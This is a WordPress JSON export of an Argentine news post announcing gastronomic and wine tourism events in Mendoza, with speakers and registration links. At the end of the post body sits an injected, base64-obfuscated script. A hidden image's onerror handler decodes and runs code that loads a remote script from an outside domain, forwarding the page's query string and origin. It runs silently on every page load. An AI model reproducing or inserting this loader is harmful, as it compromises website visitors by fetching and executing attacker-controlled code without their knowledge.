{"id":16841,"date":"2024-10-24T08:42:36","date_gmt":"2024-10-24T11:42:36","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=16841"},"modified":"2025-08-13T15:44:05","modified_gmt":"2025-08-13T18:44:05","slug":"proximos-encuentros-de-turismo-enogastronomico-en-mendoza","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/10\/24\/proximos-encuentros-de-turismo-enogastronomico-en-mendoza\/","title":{"rendered":"Pr\u00f3ximos encuentros de turismo enogastron\u00f3mico en Mendoza"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-5dbd64225706940e6a64a1162eceff43\" style=\"color:#91034d\"><em>La capital mendocina ser\u00e1 sede del Primer Encuentro Nacional de Turismo Gastron\u00f3mico y de las IV Jornadas Nacionales de Turismo del Vino.<\/em><\/h4>\n\n\n\n<p>Se realizar\u00e1n en la ciudad capital dos eventos vinculados al turismo gastron\u00f3mico y al del vino con el objetivo de poner en valor la identidad e importancia de ambas actividades en el \u00e1mbito tur\u00edstico.<\/p>\n\n\n\n<p>Los d\u00edas 30 y 31 de octubre se llevar\u00e1n a cabo el\u00a0<strong>Primer Encuentro Nacional de Turismo Gastron\u00f3mico<\/strong>, y las\u00a0<strong>IV Jornadas Nacionales de Turismo del Vino<\/strong>\u00a0organizadas por la\u00a0<strong>Secretar\u00eda de Turismo, Ambiente, y Deportes de la Naci\u00f3n<\/strong>; por la\u00a0<strong>provincia de Mendoza<\/strong>; y en el segundo evento tambi\u00e9n por la\u00a0<strong>Corporaci\u00f3n Vitivin\u00edcola Argentina<\/strong>\u00a0(Coviar).<\/p>\n\n\n\n<p>El\u00a0<strong>Primer Encuentro Nacional de Turismo Gastron\u00f3mico<\/strong>\u00a0se realizar\u00e1 el 30 de octubre y tiene como\u00a0<strong>objetivo trabajar en una identidad gastron\u00f3mica argentina<\/strong>. En este espacio se presentar\u00e1 el\u00a0<a href=\"https:\/\/www.magyp.gob.ar\/gustar\/\">programa Gustar<\/a>, iniciativa que busca\u00a0<em>revalorizar la producci\u00f3n agroalimentaria, el turismo gastron\u00f3mico y la cultura alimenticia de las distintas regiones de nuestro pa\u00eds<\/em>. El mismo se trabaja conjuntamente entre las secretar\u00edas de Turismo Ambiente y Deportes; la de Cultura; y la de Agricultura, Ganader\u00eda y Pesca de la Naci\u00f3n.<\/p>\n\n\n\n<p>En este caso, a trav\u00e9s del programa Gustar se convoc\u00f3 a tres\u00a0<strong>destacados cocineros de distintas regiones de nuestro pa\u00eds<\/strong>\u00a0a participar en el panel que abordar\u00e1 la actualidad de la cocina argentina seg\u00fan sus miradas y sus lugares de referencia.<\/p>\n\n\n\n<p><strong>Patricio Negro<\/strong>\u00a0y su reconocido restaurante Sarasanegro desembarca desde Mar del Plata con toda su experiencia en la cocina atl\u00e1ntica;\u00a0<strong>Fernando Rivarola<\/strong>\u00a0(Baqueano &#8211; Salta) aportar\u00e1 con su cocina nativa contempor\u00e1nea. Y desde Misiones,\u00a0<strong>Gunther Moros<\/strong>\u00a0combina la excelencia culinaria con la conservaci\u00f3n y regeneraci\u00f3n de la naturaleza a trav\u00e9s de la gastronom\u00eda, en \u201cExperiencia Cocina Regenerativa Margay Reserva Natural &amp; Lodge\u201d en El Soberbio.<\/p>\n\n\n\n<p>El panel contar\u00e1 con la moderaci\u00f3n de otra gran referente de la cocina argentina como&nbsp;<strong>Patricia Courtois<\/strong>&nbsp;quien tambi\u00e9n dar\u00e1 su mirada sobre la identidad de nuestra cocina.<\/p>\n\n\n\n<p>El segundo evento, las&nbsp;<strong>IV Jornadas Nacionales de Turismo del Vino<\/strong>, se llevar\u00e1n a cabo junto a la Coviar y a la provincia de Mendoza el&nbsp;<strong>31 de octubre<\/strong>. Est\u00e1 pensado como un&nbsp;<em>espacio de di\u00e1logo, intercambio, capacitaci\u00f3n y formaci\u00f3n<\/em>&nbsp;destinado a impulsar el desarrollo del sector tur\u00edstico, la gastronom\u00eda y su relaci\u00f3n con la producci\u00f3n vin\u00edcola en Argentina.<\/p>\n\n\n\n<p><strong>Inscripci\u00f3n Primer Encuentro Nacional Gastron\u00f3mico<\/strong>\u00a0\u2013 30 de octubre:\u00a0<a href=\"https:\/\/docs.google.com\/forms\/d\/e\/1FAIpQLSeCZN4BHFAXTL2gluDjgqSuwqQDjuGOHn87JEG2rd5fPEZJkA\/viewform\">Aqu\u00ed<\/a><br \/><strong>Inscripci\u00f3n IV Jornadas de Turismo del Vino<\/strong>\u00a0\u2013 31 de octubre:\u00a0<a href=\"https:\/\/docs.google.com\/forms\/d\/e\/1FAIpQLSf11b7Weuhpn2DACNu4bBVCkOrrdKXl35HsBZUt3vrSuhjRYg\/viewform\">Aqu\u00ed<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.argentina.gob.ar\/noticias\/proximos-encuentros-de-turismo-enogastronomico-en-mendoza\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:369px;height:auto\"\/><\/a><\/figure>\n\n\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>La capital mendocina ser\u00e1 sede del Primer Encuentro Nacional de Turismo Gastron\u00f3mico y de las IV Jornadas Nacionales de Turismo del Vino. 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